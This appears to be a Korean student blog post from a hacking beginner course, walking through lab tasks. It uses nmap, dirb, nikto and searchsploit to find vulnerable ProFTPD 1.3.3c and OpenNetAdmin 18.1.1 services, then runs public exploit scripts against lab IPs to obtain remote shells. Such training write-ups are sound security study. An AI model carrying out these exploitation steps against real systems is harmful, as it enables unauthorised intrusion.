이번 시간엔 정보 수집을 마친 후 서비스 분석과 익스플로잇을 하는 방법에 대해 알아보았다.
정보 수집 단계에서 얻은 정보를 토대로 서비스를 분석하며 상대방의 쉘을 획득하는 단계까지가 익스플로잇 단계라 말할 수 있다.
Task2
제일 처음 해야 할 것은 nmap을 통해 열려있는 포트와 실행 중인 서비스를 확인해야 한다.
nmap -sCV -O [ip주소] > scan_res
-sC : 취약점들이 적혀있는 스크립트를 첨부해서 해당 취약점까지 있는지 확인해 줌
-sV : 서비스 버전 정보를 알아내기
- O: 해당 pc의 os 정보 알아내기
> scan_res : scan_res라는 파일에 nmap 결과를 저장함. (정보가 자주 사용되기 때문에 파일로 만들어 두면 좋음)
해당 명령어의 결과를 확인하면
이러한 화면을 볼 수 있다.
여기서 중요하게 봐야 할 것은 21번 포트에서 ProFTPD를 사용한 FTP 서비스를 하고 있다는 것이다.
FTP란?
File Trensfer Protocol의 약자로서 인터넷으로 파일 전송을 할 수 있게 해주는 프로토콜이다
well-known port : 21번
ProFTPD를 사용하는 것을 알았으니 ProFTPD의 취약점을 찾아보자
구글에 ProFTPD 1.3.3.c exploit을 검색하면 github 사이트에서 익스플로잇을 할 수 있는 파이썬 코드를 찾을 수 있다.
해당 파일을 다운로드하기 위해 git clone 명령어를 사용해 준다
git clone [github url주소]
성공적으로 다운로드했으면 python 파일을 실행시켜 보자
python3 proFTPD_1.3.3c_exploit.py
우리가 필요한 정보를 다 입력하지 않고 실행했기에 이러한 문구가 출력이 된다.
필요한 정보를 다시 입력하고 실행하게 되면
python3 proFTPD_1.3.3c_exploit.py 10.18.52.42 10.10.92.142
상대방의 쉘을 획득한 것을 확인할 수 있다.
Task3
역시나 시작은 nmap을 통해 어떤 포트와 서비스가 있는지 확인해야 한다
22번 ssh와 80번 http, 10000번 http가 열려있는 것을 알 수 있다.
웹사이트가 열려있기에 접속을 해서 새로운 정보가 없는지 알아보자
80번
아무것도 뜨지 않아 확인이 어렵다
10000번
이 웹서버는 ssl 모드로 실행되고 있음을 알려준다
위의 정보로는 알 수 있는 게 많이 없으니 dirb를 사용해 디렉터리 스캔과 nikto를 사용해 웹취약점을 스캔해 보자
디렉터리 스캔
dirb [url 주소]
웹 취약점 스캔
nikto -h [url 주소]
웹 취약점 스캔을 통해 /ona/라는 디렉터리가 있는 것을 확인할 수 있었다.
/ona에 들어가 보자
이 화면에서 알 수 있는 정보는 버전이 18.1.1 인 무언가를 사용한다는 것을 알 수 있다.
조금 더 자세한 정보를 위해 소스코드를 봐보자
해당 소스코드에서 이 웹사이트는 OpenNetAdmin이라는 프로그램을 사용한다는 것을 알 수 있다.
우리는 앞에서 얻은 정보를 통해 익스플로잇이 가능한 취약점이 있는지 확인해봐야 한다
이때 사용할 수 있는 명령어가searchsploit이다
searchsploit [사용중인 프로그램]
해당 명령어를 통해 두 개의 취약점이 있는 것을 확인할 수 있다.
우리는 Shell 획득을 위해 Remote Code Execution 취약점을 이용해 보자
해당 파일은 /usr/share/exploitdb/exploits/ 가 기본 경로이며 그 뒤에 path 부분의 경로를 이어주면 찾을 수 있다.
해당 파일을 작업 디렉터리로 복사해오자
cp /usr/share/exploitdb/exploits/php/webapps/47691.sh exploit.sh
가져온 sh파일을 실행을 시키면
이러한 오류가 뜨게 된다.
오류의 원인을 알기 위해 쉘코드를 확인해 보았다
해당 코드에서 중요하게 봐야 할 곳은 여기다
URL이라는 변수에 인자값을 받아 오게 되어있고 curl 명령을 통해 해당 url로 전송되게 되어있다.
그럼 우리는 인자값으로 데이터를 전송할 url을 함께 적어주면 된다.
./exploit.sh http://10.10.137.248/ona/
그럼 성공적으로 쉘을 획득한 것을 확인할 수 있다.
'Hacking > Hacking Beginner Class (normaltic)' 카테고리의 다른 글
[해킹 비기너 클래스] 6주차 Practice (Task 5) (0) | 2023.08.30 |
---|---|
[해킹 비기너 클래스] 6주차 Practice (Task 4) (0) | 2023.08.29 |
[해킹 비기너 클래스] 5주차 정리 (정보수집) (0) | 2023.08.17 |
[해킹 비기너 클래스] 4주차 Practice (0) | 2023.08.11 |
[해킹 비기너 클래스] 4주차 정리 (웹서버와 웹쉘) (0) | 2023.08.11 |